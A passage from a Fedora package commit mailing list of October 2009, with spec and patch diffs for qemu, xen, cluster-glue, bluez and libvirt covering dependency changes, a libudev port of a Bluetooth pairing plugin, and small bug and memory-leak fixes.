+            LIST_REMOVE(&l2meta, next_in_flight);
+        }
+    }
+    s->cluster_cache_offset = -1; /* disable compressed cache */
+    return 0;
+}
+
 /* XXX: put compressed sectors first, then all the cluster aligned
    tables to avoid losing bytes in alignment */
 static int qcow_write_compressed(BlockDriverState *bs, int64_t sector_num,
@@ -1037,8 +1082,10 @@ static BlockDriver bdrv_qcow2 = {
     .bdrv_set_key	= qcow_set_key,
     .bdrv_make_empty	= qcow_make_empty,
 
-    .bdrv_aio_readv	= qcow_aio_readv,
-    .bdrv_aio_writev	= qcow_aio_writev,
+    .bdrv_read          = qcow2_read,
+    .bdrv_write         = qcow2_write,
+    .bdrv_aio_readv     = qcow_aio_readv,
+    .bdrv_aio_writev    = qcow_aio_writev,
     .bdrv_write_compressed = qcow_write_compressed,
 
     .bdrv_snapshot_create   = qcow2_snapshot_create,
diff --git a/block/qcow2.h b/block/qcow2.h
index 965a2f4..b41aa63 100644
--- a/block/qcow2.h
+++ b/block/qcow2.h
@@ -202,6 +202,9 @@ uint64_t qcow2_alloc_compressed_cluster_offset(BlockDriverState *bs,
 int qcow2_alloc_cluster_link_l2(BlockDriverState *bs, uint64_t cluster_offset,
     QCowL2Meta *m);
 
+int qcow2_read(BlockDriverState *bs, int64_t sector_num, uint8_t *buf,
+    int nb_sectors);
+
 /* qcow2-snapshot.c functions */
 int qcow2_snapshot_create(BlockDriverState *bs, QEMUSnapshotInfo *sn_info);
 int qcow2_snapshot_goto(BlockDriverState *bs, const char *snapshot_id);
-- 
1.6.2.5



Index: ksm.init
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/ksm.init,v
retrieving revision 1.2
retrieving revision 1.3
diff -u -p -r1.2 -r1.3
--- ksm.init	16 Sep 2009 17:31:15 -0000	1.2
+++ ksm.init	9 Oct 2009 14:34:17 -0000	1.3
@@ -56,6 +56,19 @@ stop() {
     echo
 }
 
+status() {
+    if [ ! -f /sys/kernel/mm/ksm/run ] ; then
+        echo $"$prog not supported"
+        RETVAL=1
+    else if [ "$(cat /sys/kernel/mm/ksm/run 2>/dev/null)" != "1" ]; then
+        echo $"$prog is not running"
+        RETVAL=1
+    else
+        echo $"$prog is running"
+        RETVAL=0
+    fi; fi
+}
+
 case "$1" in
   start)
 	start
@@ -64,13 +77,7 @@ case "$1" in
 	stop
 	;;
   status)
-        is_run=`cat /sys/kernel/mm/ksm/run`
-	RETVAL=$?
-        if [ $is_run -eq 1 ]; then
-            echo $"$prog is running"
-        else
-            echo $"$prog is not running"
-        fi
+        status
 	;;
   restart)
 	stop

qemu-improve-error-reporting-on-file-access.patch:
 hw/pc.c |   12 ++++++------
 vl.c    |   21 ++++++++++-----------
 2 files changed, 16 insertions(+), 17 deletions(-)

Index: qemu-improve-error-reporting-on-file-access.patch
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu-improve-error-reporting-on-file-access.patch,v
retrieving revision 1.1
retrieving revision 1.2
diff -u -p -r1.1 -r1.2
--- qemu-improve-error-reporting-on-file-access.patch	1 Oct 2009 21:29:40 -0000	1.1
+++ qemu-improve-error-reporting-on-file-access.patch	9 Oct 2009 14:34:17 -0000	1.2
@@ -1,4 +1,4 @@
-From a40f520f7b94d2a5de04c7ca3a7513a99c84e9ef Mon Sep 17 00:00:00 2001
+From 565c62123258970d9254bc7b8eaa8f4c66ab2a21 Mon Sep 17 00:00:00 2001
 From: Justin M. Forbes <jforbes at redhat.com>
 Date: Thu, 1 Oct 2009 16:13:56 -0500
 Subject: [PATCH] Improve error reporting on file access
@@ -7,7 +7,10 @@ By making the error reporting include st
 a bit more indication as to why qemu failed.  This is particularly
 important for people running qemu as a non root user.
 
+(cherry-picked from commit 850810d01b45e6ce99ac6696773e967890db2937)
+
 Signed-off-by: Justin M. Forbes <jforbes at redhat.com>
+Fedora-patch: qemu-improve-error-reporting-on-file-access.patch
 ---
  hw/pc.c |   12 ++++++------
  vl.c    |   20 ++++++++++----------
@@ -27,9 +30,9 @@ index 3b226f4..7a184cd 100644
 +		kernel_filename, strerror(errno));
  	exit(1);
      }
-
+ 
 @@ -947,8 +947,8 @@ static void load_linux(void *fw_cfg,
-
+ 
  	fi = fopen(initrd_filename, "rb");
  	if (!fi) {
 -	    fprintf(stderr, "qemu: could not load initial ram disk '%s'\n",
@@ -38,10 +41,10 @@ index 3b226f4..7a184cd 100644
 +		    initrd_filename, strerror(errno));
  	    exit(1);
  	}
-
+ 
 @@ -956,8 +956,8 @@ static void load_linux(void *fw_cfg,
  	initrd_addr = (initrd_max-initrd_size) & ~4095;
-
+ 
  	if (!fread_targphys_ok(initrd_addr, initrd_size, fi)) {
 -	    fprintf(stderr, "qemu: read error on initial ram disk '%s'\n",
 -		    initrd_filename);


Index: qemu.spec
===================================================================
RCS file: /cvs/pkgs/rpms/qemu/F-12/qemu.spec,v
retrieving revision 1.139
retrieving revision 1.140
diff -u -p -r1.139 -r1.140
--- qemu.spec	6 Oct 2009 13:26:58 -0000	1.139
+++ qemu.spec	9 Oct 2009 14:34:17 -0000	1.140
@@ -1,7 +1,7 @@
 Summary: QEMU is a FAST! processor emulator
 Name: qemu
 Version: 0.11.0
-Release: 5%{?dist}
+Release: 6%{?dist}
 # Epoch because we pushed a qemu-1.0 package
 Epoch: 2
 License: GPLv2+ and LGPLv2+ and BSD
@@ -46,6 +46,9 @@ Patch07: qemu-do-not-exit-on-pci-hotplug
 # Improve error reporting on file access
 Patch08: qemu-improve-error-reporting-on-file-access.patch
 
+# Fix fs errors with virtio and qcow2 backing file (#524734)
+Patch09: qemu-fix-qcow2-backing-file-with-virtio.patch
+
 BuildRoot: %{_tmppath}/%{name}-%{version}-%{release}-root-%(%{__id_u} -n)
 BuildRequires: SDL-devel zlib-devel which texi2html gnutls-devel cyrus-sasl-devel
 BuildRequires: rsync dev86 iasl
@@ -105,6 +108,9 @@ This package provides the command line t
 %package  common
 Summary: QEMU common files needed by all QEMU targets
 Group: Development/Tools
+Requires(post): /usr/bin/getent
+Requires(post): /usr/sbin/groupadd
+Requires(post): /usr/sbin/useradd
 Requires(post): /sbin/chkconfig
 Requires(preun): /sbin/service /sbin/chkconfig
 Requires(postun): /sbin/service
@@ -241,6 +247,7 @@ such as kvmtrace and kvm_stat.
 %patch06 -p1
 %patch07 -p1
 %patch08 -p1
+%patch09 -p1
 
 %build
 # systems like rhel build system does not have a recent enough linker so
@@ -534,6 +541,11 @@ fi
 %{_mandir}/man1/qemu-img.1*
 
 %changelog
+* Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-6
+- Fix fs errors with virtio and qcow2 backing file (#524734)
+- Fix ksm initscript errors on kernel missing ksm (#527653)
+- Add missing Requires(post): getent, useradd, groupadd (#527087)
+
 * Tue Oct  6 2009 Mark McLoughlin <markmc at redhat.com> - 2:0.11.0-5
 - Add 'retune' verb to ksmtuned init script
 



From jforbes at fedoraproject.org  Fri Oct  9 14:47:04 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Fri,  9 Oct 2009 14:47:04 +0000 (UTC)
Subject: rpms/xen/F-12 xen.spec,1.248,1.249
Message-ID: <20091009144704.D5BEA11C00C1@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/xen/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22036

Modified Files:
	xen.spec 
Log Message:
Add PyXML to dependencies and take ownership of {_libdir}/fs


Index: xen.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xen/F-12/xen.spec,v
retrieving revision 1.248
retrieving revision 1.249
diff -u -p -r1.248 -r1.249
--- xen.spec	14 Sep 2009 06:54:47 -0000	1.248
+++ xen.spec	9 Oct 2009 14:47:03 -0000	1.249
@@ -6,7 +6,7 @@
 Summary: Xen is a virtual machine monitor
 Name:    xen
 Version: 3.4.1
-Release: 4%{?dist}
+Release: 5%{?dist}
 Group:   Development/Libraries
 License: GPLv2+ and LGPLv2+ and BSD
 URL:     http://xen.org/
@@ -69,6 +69,7 @@ BuildRequires: bzip2-devel xz-devel
 # libfsimage
 BuildRequires: e2fsprogs-devel
 Requires: bridge-utils
+Requires: PyXML
 Requires: udev >= 059
 Requires: xen-runtime = %{version}-%{release}
 # Not strictly a dependency, but kpartx is by far the most useful tool right
@@ -337,7 +338,7 @@ rm -rf %{buildroot}
 %files libs
 %defattr(-,root,root)
 %{_libdir}/*.so.*
-%{_libdir}/fs/*
+%{_libdir}/fs
 
 # All runtime stuff except for XenD/xm python stuff
 %files runtime
@@ -464,6 +465,10 @@ rm -rf %{buildroot}
 %{_libdir}/*.a
 
 %changelog
+* Thu Oct 7 2009 Justin M. Forbes <jforbes at redhat.com> - 3.4.1-5
+- add PyXML to dependencies. (#496135)
+- Take ownership of {_libdir}/fs (#521806)
+
 * Mon Sep 14 2009 Gerd Hoffmann <kraxel at redhat.com> - 3.4.1-4
 - add e2fsprogs-devel to build dependencies.
 



From jforbes at fedoraproject.org  Fri Oct  9 14:51:08 2009
From: jforbes at fedoraproject.org (Justin M. Forbes)
Date: Fri,  9 Oct 2009 14:51:08 +0000 (UTC)
Subject: rpms/xen/devel xen.spec,1.248,1.249
Message-ID: <20091009145108.4187211C00C1@cvs1.fedora.phx.redhat.com>

Author: jforbes

Update of /cvs/pkgs/rpms/xen/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv22903

Modified Files:
	xen.spec 
Log Message:
Add PyXML to dependencies and take ownership of {_libdir}/fs


Index: xen.spec
===================================================================
RCS file: /cvs/pkgs/rpms/xen/devel/xen.spec,v
retrieving revision 1.248
retrieving revision 1.249
diff -u -p -r1.248 -r1.249
--- xen.spec	14 Sep 2009 06:54:47 -0000	1.248
+++ xen.spec	9 Oct 2009 14:51:07 -0000	1.249
@@ -69,6 +69,7 @@ BuildRequires: bzip2-devel xz-devel
 # libfsimage
 BuildRequires: e2fsprogs-devel
 Requires: bridge-utils
+Requires: PyXML
 Requires: udev >= 059
 Requires: xen-runtime = %{version}-%{release}
 # Not strictly a dependency, but kpartx is by far the most useful tool right
@@ -337,7 +338,7 @@ rm -rf %{buildroot}
 %files libs
 %defattr(-,root,root)
 %{_libdir}/*.so.*
-%{_libdir}/fs/*
+%{_libdir}/fs
 
 # All runtime stuff except for XenD/xm python stuff
 %files runtime
@@ -464,6 +465,10 @@ rm -rf %{buildroot}
 %{_libdir}/*.a
 
 %changelog
+* Fri Oct 8 2009 Justin M. Forbes <jforbes at redhat.com> - 3.4.1-5
+- add PyXML to dependencies. (#496135)
+- Take ownership of {_libdir}/fs (#521806)
+
 * Mon Sep 14 2009 Gerd Hoffmann <kraxel at redhat.com> - 3.4.1-4
 - add e2fsprogs-devel to build dependencies.
 



From fabbione at fedoraproject.org  Fri Oct  9 14:52:21 2009
From: fabbione at fedoraproject.org (Fabio M. Di Nitto)
Date: Fri,  9 Oct 2009 14:52:21 +0000 (UTC)
Subject: rpms/cluster-glue/devel cluster-glue.spec,1.7,1.8
Message-ID: <20091009145221.32ABE11C00C1@cvs1.fedora.phx.redhat.com>

Author: fabbione

Update of /cvs/pkgs/rpms/cluster-glue/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23177

Modified Files:
	cluster-glue.spec 
Log Message:
Rebuild to suck in net-snmp soname change



Index: cluster-glue.spec
===================================================================
RCS file: /cvs/pkgs/rpms/cluster-glue/devel/cluster-glue.spec,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- cluster-glue.spec	21 Aug 2009 12:47:33 -0000	1.7
+++ cluster-glue.spec	9 Oct 2009 14:52:20 -0000	1.8
@@ -4,7 +4,7 @@
 
 # When downloading directly from Mercurial, it will automatically add this prefix
 # Invoking 'hg archive' wont but you can add one with: hg archive -t tgz -p "Reusable-Cluster-Components-" -r $upstreamversion $upstreamversion.tar.gz
-%global specversion 9
+%global specversion 10
 %global upstreamprefix Reusable-Cluster-Components-
 %global upstreamversion d97b9dea436e
 
@@ -184,6 +184,9 @@ such as Pacemaker.
 %doc COPYING.LIB
 
 %changelog
+* Fri Oct  9 2009 Fabio M. Di Nitto <fdinitto at redhat.com> - 1.0-0.10.d97b9dea436e.hg.1
+- rebuild with new net-snmp
+
 * Fri Aug 21 2009 Tomas Mraz <tmraz at redhat.com> - 1.0-0.9.d97b9dea436e.hg.1
 - rebuilt with new openssl
 



From hadess at fedoraproject.org  Fri Oct  9 14:53:40 2009
From: hadess at fedoraproject.org (Bastien Nocera)
Date: Fri,  9 Oct 2009 14:53:40 +0000 (UTC)
Subject: rpms/bluez/F-12 0001-Add-sixaxis-cable-pairing-plugin.patch, 1.7,
	1.8 bluez.spec, 1.100, 1.101
Message-ID: <20091009145340.6167511C00C1@cvs1.fedora.phx.redhat.com>

Author: hadess

Update of /cvs/pkgs/rpms/bluez/F-12
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23537

Modified Files:
	0001-Add-sixaxis-cable-pairing-plugin.patch bluez.spec 
Log Message:
* Fri Oct 09 2009 Bastien Nocera <bnocera at redhat.com> 4.55-3
- Update cable pairing plugin to use libudev


0001-Add-sixaxis-cable-pairing-plugin.patch:
 Makefile.am     |    9 +
 acinclude.m4    |   16 ++
 configure.ac    |    1 
 plugins/cable.c |  385 +++++++++++++++++++++++++++++++++++++++++++++++++++++++-
 4 files changed, 408 insertions(+), 3 deletions(-)

Index: 0001-Add-sixaxis-cable-pairing-plugin.patch
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/0001-Add-sixaxis-cable-pairing-plugin.patch,v
retrieving revision 1.7
retrieving revision 1.8
diff -u -p -r1.7 -r1.8
--- 0001-Add-sixaxis-cable-pairing-plugin.patch	5 Oct 2009 09:48:15 -0000	1.7
+++ 0001-Add-sixaxis-cable-pairing-plugin.patch	9 Oct 2009 14:53:39 -0000	1.8
@@ -1,44 +1,57 @@
-From df50f89ea8967fa0ba0d21aac0ce905801d31c70 Mon Sep 17 00:00:00 2001
+From 7194839445edb3fd112b2bc79878c303e3b7c9e2 Mon Sep 17 00:00:00 2001
 From: Bastien Nocera <hadess at hadess.net>
 Date: Tue, 1 Sep 2009 17:32:48 +0100
 Subject: [PATCH] Add sixaxis cable-pairing plugin
 
-Implement the old "sixpair" using gudev (a GObject layer on top
-of udev's monitoring system), and libusb-1.0.
+Implement the old "sixpair" using libudev and libusb-1.0.
 
 When a Sixaxis device is plugged in, events are filtered, and
 the device is selected, poked around to set the default Bluetooth
 address, and added to the database of the current default adapter.
 ---
- Makefile.am     |    9 ++
+ Makefile.am     |    9 +-
  acinclude.m4    |   16 +++
  configure.ac    |    1 +
- plugins/cable.c |  362 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
- 4 files changed, 388 insertions(+), 0 deletions(-)
+ plugins/cable.c |  384 +++++++++++++++++++++++++++++++++++++++++++++++++++++++
+ 4 files changed, 408 insertions(+), 2 deletions(-)
  create mode 100644 plugins/cable.c
 
 diff --git a/Makefile.am b/Makefile.am
-index c8337d6..0bdf694 100644
+index c8337d6..e5eccdf 100644
 --- a/Makefile.am
 +++ b/Makefile.am
-@@ -162,6 +162,15 @@ builtin_modules += service
+@@ -162,6 +162,11 @@ builtin_modules += service
  builtin_sources += plugins/service.c
  endif
  
 +if CABLE
-+plugin_LTLIBRARIES += plugins/cable.la
-+
-+plugins_cable_la_LIBADD = @CABLE_LIBS@
-+plugins_cable_la_LDFLAGS = -module -avoid-version -no-undefined
-+plugins_cable_la_CFLAGS = -fvisibility=hidden @DBUS_CFLAGS@ \
-+					@GLIB_CFLAGS@ @CABLE_CFLAGS@
++builtin_modules += cable
++builtin_sources += plugins/cable.c
 +endif
 +
  builtin_modules += hciops
  builtin_sources += plugins/hciops.c
  
+@@ -192,7 +197,7 @@ src_bluetoothd_SOURCES = $(gdbus_sources) $(builtin_sources) \
+ 			src/dbus-common.c src/dbus-common.h \
+ 			src/dbus-hci.h src/dbus-hci.c
+ src_bluetoothd_LDADD = lib/libbluetooth.la @GLIB_LIBS@ @DBUS_LIBS@ \
+-							@CAPNG_LIBS@ -ldl
++							@CAPNG_LIBS@ @CABLE_LIBS@ -ldl
+ src_bluetoothd_LDFLAGS = -Wl,--export-dynamic \
+ 					-Wl,--version-script=src/bluetooth.ver
+ src_bluetoothd_DEPENDENCIES = src/bluetooth.ver lib/libbluetooth.la
+@@ -305,7 +310,7 @@ EXTRA_DIST += doc/manager-api.txt \
+ 
+ AM_YFLAGS = -d
+ 
+-AM_CFLAGS = @DBUS_CFLAGS@ @GLIB_CFLAGS@ @CAPNG_CFLAGS@ \
++AM_CFLAGS = @DBUS_CFLAGS@ @GLIB_CFLAGS@ @CAPNG_CFLAGS@ @CABLE_CFLAGS@ \
+ 		-DBLUETOOTH_PLUGIN_BUILTIN -DPLUGINDIR=\""$(plugindir)"\"
+ 
+ INCLUDES = -I$(builddir)/lib -I$(builddir)/src -I$(srcdir)/src \
 diff --git a/acinclude.m4 b/acinclude.m4
-index e7d1c32..3feddf8 100644
+index e7d1c32..10e5241 100644
 --- a/acinclude.m4
 +++ b/acinclude.m4
 @@ -142,6 +142,12 @@ AC_DEFUN([AC_PATH_USB], [
@@ -46,7 +59,7 @@ index e7d1c32..3feddf8 100644
  ])
  
 +AC_DEFUN([AC_PATH_CABLE], [
-+	PKG_CHECK_MODULES(CABLE, gudev-1.0 libusb-1.0, cable_found=yes, cable_found=no)
++	PKG_CHECK_MODULES(CABLE, libudev libusb-1.0, cable_found=yes, cable_found=no)
 +	AC_SUBST(CABLE_CFLAGS)
 +	AC_SUBST(CABLE_LIBS)
 +])
@@ -104,10 +117,10 @@ index b93cca0..5df134f 100644
  AC_PATH_CAPNG
 diff --git a/plugins/cable.c b/plugins/cable.c
 new file mode 100644
-index 0000000..6e81ba0
+index 0000000..0b7cc7a
 --- /dev/null
 +++ b/plugins/cable.c
-@@ -0,0 +1,362 @@
+@@ -0,0 +1,384 @@
 +/*
 + *
 + *  BlueZ - Bluetooth protocol stack for Linux
@@ -135,8 +148,9 @@ index 0000000..6e81ba0
 +#include <config.h>
 +#endif
 +
-+#define G_UDEV_API_IS_SUBJECT_TO_CHANGE
-+#include <gudev/gudev.h>
++#include <glib.h>
++#define LIBUDEV_I_KNOW_THE_API_IS_SUBJECT_TO_CHANGE 1
++#include <libudev.h>
 +#include <dbus/dbus.h>
 +#include <bluetooth/bluetooth.h>
 +#include <bluetooth/sdp.h>
@@ -319,7 +333,7 @@ index 0000000..6e81ba0
 +		libusb_close(devh);
 +}
 +
-+static void handle_device_plug(GUdevDevice *device)
++static void handle_device_plug(struct udev_device *udevice)
 +{
 +	struct btd_adapter *adapter;
 +	int adapter_id;
@@ -330,11 +344,11 @@ index 0000000..6e81ba0
 +	struct libusb_device_descriptor desc;
 +	guint8 j;
 +
-+	if (g_udev_device_has_property(device, "ID_SERIAL") == FALSE ||
-+	    g_strcmp0(g_udev_device_get_property(device, "ID_SERIAL"), "Sony_PLAYSTATION_R_3_Controller") != 0)
++	if (g_strcmp0(udev_device_get_property_value(udevice, "ID_SERIAL"),
++		      "Sony_PLAYSTATION_R_3_Controller") != 0)
 +		return;
 +	/* Don't look at events with an associated driver */
-+	if (g_udev_device_has_property(device, "ID_USB_DRIVER") != FALSE)
++	if (udev_device_get_property_value(udevice, "ID_USB_DRIVER") != NULL)
 +		return;
 +
 +	debug("Found Sixaxis device");
@@ -365,7 +379,7 @@ index 0000000..6e81ba0
 +		path = g_strdup_printf("%s/%03d/%03d", "/dev/bus/usb",
 +				       libusb_get_bus_number(list[i]),
 +				       libusb_get_device_address(list[i]));
-+		if (g_strcmp0(path, g_udev_device_get_device_file(device)) == 0) {
++		if (g_strcmp0(path, udev_device_get_devnode(udevice)) == 0) {
 +			g_free(path);
 +			usbdev = libusb_ref_device(list[i]);
 +			break;
@@ -415,45 +429,58 @@ index 0000000..6e81ba0
 +	libusb_exit(NULL);
 +}
 +
-+static gboolean device_event_idle(GUdevDevice *device)
++static gboolean device_event_idle(struct udev_device *udevice)
 +{
-+	handle_device_plug(device);
-+	g_object_unref (device);
++	handle_device_plug(udevice);
++	udev_device_unref(udevice);
 +	return FALSE;
 +}
 +
-+static void uevent_cb(GUdevClient  *client,
-+		      const char    *action,
-+		      GUdevDevice  *device,
-+		      gpointer       user_data)
++static struct udev *ctx = NULL;
++static struct udev_monitor *monitor = NULL;
++static guint watch_id = 0;
++
++static gboolean
++monitor_event(GIOChannel *source,
++	      GIOCondition condition,
++	      gpointer data)
 +{
-+	if (g_strcmp0(action, "add") == 0) {
-+		/* FIXME:
-+		 * This happens because we need to wait for the
-+		 * device node to be created by udev,
-+		 * we should really just call: handle_device_plug(device); */
-+		g_object_ref(device);
-+		g_timeout_add_seconds(1, (GSourceFunc) device_event_idle, device);
-+	}
++	struct udev_device *udevice;
++
++	udevice = udev_monitor_receive_device(monitor);
++	if (udevice == NULL)
++		goto out;
++	if (g_strcmp0(udev_device_get_action(udevice), "add") != 0)
++		goto out;
++
++	g_timeout_add_seconds(1, (GSourceFunc) device_event_idle, udevice);
++
++out:
++	return TRUE;
 +}
 +
-+GUdevClient *client = NULL;
 +
 +static int cable_init(void)
 +{
-+	const char * subsystems[] = { "usb", NULL };
++	GIOChannel *channel;
 +
 +	debug("Setup cable plugin");
 +
-+	g_type_init();
-+
-+	client = g_udev_client_new(subsystems);
++	ctx = udev_new();
++	monitor = udev_monitor_new_from_netlink(ctx, "udev");
++	if (monitor == NULL) {
++		error ("Could not get udev monitor");
++		return -1;
++	}
 +
-+	/* Listen for newly connected devices */
-+	g_signal_connect(G_OBJECT(client),
-+			 "uevent",
-+			 G_CALLBACK(uevent_cb),
-+			 NULL);
++	/* Listen for newly connected usb device */
++	udev_monitor_filter_add_match_subsystem_devtype(monitor,
++							"usb", NULL);
++	udev_monitor_enable_receiving(monitor);
++
++	channel = g_io_channel_unix_new(udev_monitor_get_fd(monitor));
++	watch_id = g_io_add_watch(channel, G_IO_IN, monitor_event, NULL);
++	g_io_channel_unref(channel);
 +
 +	return 0;
 +}
@@ -462,9 +489,17 @@ index 0000000..6e81ba0
 +{
 +	debug("Cleanup cable plugin");
 +
-+	if (client != NULL) {
-+		g_object_unref(client);
-+		client = NULL;
++	if (watch_id != 0) {
++		g_source_remove(watch_id);
++		watch_id = 0;
++	}
++	if (monitor != NULL) {
++		udev_monitor_unref(monitor);
++		monitor = NULL;
++	}
++	if (ctx != NULL) {
++		udev_unref(ctx);
++		ctx = NULL;
 +	}
 +}
 +


Index: bluez.spec
===================================================================
RCS file: /cvs/pkgs/rpms/bluez/F-12/bluez.spec,v
retrieving revision 1.100
retrieving revision 1.101
diff -u -p -r1.100 -r1.101
--- bluez.spec	7 Oct 2009 09:37:31 -0000	1.100
+++ bluez.spec	9 Oct 2009 14:53:40 -0000	1.101
@@ -1,7 +1,7 @@
 Summary: Bluetooth utilities
 Name: bluez
 Version: 4.55
-Release: 2%{?dist}
+Release: 3%{?dist}
 License: GPLv2+
 Group: Applications/System
 Source: http://www.kernel.org/pub/linux/bluetooth/%{name}-%{version}.tar.gz
@@ -34,7 +34,7 @@ BuildRequires: gstreamer-plugins-base-de
 BuildRequires: libsndfile-devel
 BuildRequires: libcap-ng-devel
 # For cable pairing
-BuildRequires: libgudev-devel 
+BuildRequires: libudev-devel 
 %ifnarch s390 s390x
 BuildRequires: libusb1-devel
 %endif
@@ -272,6 +272,9 @@ fi
 %config(noreplace) %{_sysconfdir}/sysconfig/pand
 
 %changelog
+* Fri Oct 09 2009 Bastien Nocera <bnocera at redhat.com> 4.55-3
+- Update cable pairing plugin to use libudev
+
 * Wed Oct 07 2009 Bastien Nocera <bnocera at redhat.com> 4.55-2
 - Enable caps lowering
 



From markmc at fedoraproject.org  Fri Oct  9 14:53:49 2009
From: markmc at fedoraproject.org (Mark McLoughlin)
Date: Fri,  9 Oct 2009 14:53:49 +0000 (UTC)
Subject: rpms/libvirt/devel libvirt-fix-device-detach-typo1.patch, NONE,
	1.1 libvirt-fix-device-detach-typo2.patch, NONE,
	1.1 libvirt-fix-device-detach-typo3.patch, NONE,
	1.1 libvirt-fix-libvirtd-leak-in-error-reply.patch, NONE,
	1.1 libvirt.spec, 1.188, 1.189
Message-ID: <20091009145349.8905411C00C1@cvs1.fedora.phx.redhat.com>

Author: markmc

Update of /cvs/pkgs/rpms/libvirt/devel
In directory cvs1.fedora.phx.redhat.com:/tmp/cvs-serv23587

Modified Files:
	libvirt.spec 
Added Files:
	libvirt-fix-device-detach-typo1.patch 
	libvirt-fix-device-detach-typo2.patch 
	libvirt-fix-device-detach-typo3.patch 
	libvirt-fix-libvirtd-leak-in-error-reply.patch 
Log Message:
* Fri Oct  9 2009 Mark McLoughlin <markmc at redhat.com> - 0.7.1-11
- Fix libvirtd memory leak during error reply sending (#528162)
- Add several PCI hot-unplug typo fixes from upstream


libvirt-fix-device-detach-typo1.patch:
 domain_conf.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-fix-device-detach-typo1.patch ---
>From 58c38896a67c170063401d8091bae7dca8842923 Mon Sep 17 00:00:00 2001
From: Jiri Denemark <jdenemar at redhat.com>
Date: Wed, 23 Sep 2009 18:46:23 +0200
Subject: [PATCH] Fix a typo in virDiskHasValidPciAddr()

(cherry-picked from commit 3620e3cdcfe56cc4475b5ef1a0a893757240b795)

Signed-off-by: Jiri Denemark <jdenemar at redhat.com>
Fedora-patch: libvirt-fix-device-detach-typo1.patch
---
 src/domain_conf.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/domain_conf.h b/src/domain_conf.h
index 09368d9..d494e54 100644
--- a/src/domain_conf.h
+++ b/src/domain_conf.h
@@ -125,7 +125,7 @@ struct _virDomainDiskDef {
 static inline int
 virDiskHasValidPciAddr(virDomainDiskDefPtr def)
 {
-    return def->pci_addr.domain || def->pci_addr.domain || def->pci_addr.slot;
+    return def->pci_addr.domain || def->pci_addr.bus || def->pci_addr.slot;
 }
 
 
-- 
1.6.2.5


libvirt-fix-device-detach-typo2.patch:
 domain_conf.h |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-fix-device-detach-typo2.patch ---
>From 81e967c716ce8c085be8baad9169f7772452d187 Mon Sep 17 00:00:00 2001
From: Mark McLoughlin <markmc at redhat.com>
Date: Thu, 24 Sep 2009 08:55:55 +0100
Subject: [PATCH] Fix a typo in virNetHasValidPciAddr() too

* src/domain_conf.h: check domain/bus/slot, not domain/domain/slot

(cherry-picked from commit 6bfffce91635bb08de601747e94ed1182c0f47eb)

Fedora-patch: libvirt-fix-device-detach-typo2.patch
---
 src/domain_conf.h |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/domain_conf.h b/src/domain_conf.h
index d494e54..7c918a7 100644
--- a/src/domain_conf.h
+++ b/src/domain_conf.h
@@ -207,7 +207,7 @@ struct _virDomainNetDef {
 static inline int
 virNetHasValidPciAddr(virDomainNetDefPtr def)
 {
-    return def->pci_addr.domain || def->pci_addr.domain || def->pci_addr.slot;
+    return def->pci_addr.domain || def->pci_addr.bus || def->pci_addr.slot;
 }
 
 enum virDomainChrSrcType {
-- 
1.6.2.5


libvirt-fix-device-detach-typo3.patch:
 qemu_driver.c |    3 +--
 1 file changed, 1 insertion(+), 2 deletions(-)

--- NEW FILE libvirt-fix-device-detach-typo3.patch ---
>From 3a64779ec5a89d38d64e07bca2b11b19e1882d7a Mon Sep 17 00:00:00 2001
From: Charles Duffy <charles at dyfis.net>
Date: Thu, 24 Sep 2009 09:00:24 +0100
Subject: [PATCH] Fix unitialized variable in qemudDomainDetachHostPciDevice()

* src/qemu_driver.c: initialize detach var

(cherry-picked from commit 580ad29288751234bee47ac9f6c04dac1dc529ea)

Fedora-patch: libvirt-fix-device-detach-typo3.patch
---
 src/qemu_driver.c |    2 +-
 1 files changed, 1 insertions(+), 1 deletions(-)

diff --git a/src/qemu_driver.c b/src/qemu_driver.c
index 7c7b985..550a59c 100644
--- a/src/qemu_driver.c
+++ b/src/qemu_driver.c
@@ -6126,7 +6126,7 @@ static int qemudDomainDetachHostPciDevice(virConnectPtr conn,
                                           virDomainObjPtr vm,
                                           virDomainDeviceDefPtr dev)
 {
-    virDomainHostdevDefPtr detach;
+    virDomainHostdevDefPtr detach = NULL;
     char *cmd, *reply;
     int i, ret;
     pciDevice *pci;
-- 
1.6.2.5


libvirt-fix-libvirtd-leak-in-error-reply.patch:
 dispatch.c |   16 +++++++++++++---
 1 file changed, 13 insertions(+), 3 deletions(-)

--- NEW FILE libvirt-fix-libvirtd-leak-in-error-reply.patch ---
>From 71de8d92f20a9a9ee76d4d5df77ff477f1b7d441 Mon Sep 17 00:00:00 2001
From: Matthias Bolte <matthias.bolte at googlemail.com>
Date: Wed, 30 Sep 2009 02:17:27 +0200
Subject: [PATCH] Fix memory leaks in libvirtd's message processing

Commit 47cab734995fa9521b1df05d37e9978eedd8d3a2 changed the way how
qemud_client_message objects were reused. Before this commit
remoteDispatchClientRequest() reused the received message for normal responses
and to report non-fatal errors. If a fatal error occurred qemudWorker() frees
the message. After this commit non-fatal errors are reported by
remoteSerializeReplyError() using a new qemud_client_message object and the
original message leaks.

To fix this leak the original message has to be freed if
remoteSerializeReplyError() succeeds. If remoteSerializeReplyError()
fails the original message is freed in qemudWorker().

* daemon/dispatch.c: free qemud_client_message objects that will not be reused
  and would leak otherwise, also free the allocated qemud_client_message object
  in remoteSerializeError() if an error occurs

(cherry-picked from commit c6f1459eb998619ab21a92d9bb87341f26978181)

Fedora-patch: libvirt-fix-libvirtd-leak-in-error-reply.patch
---
 qemud/dispatch.c |   15 +++++++++++++--
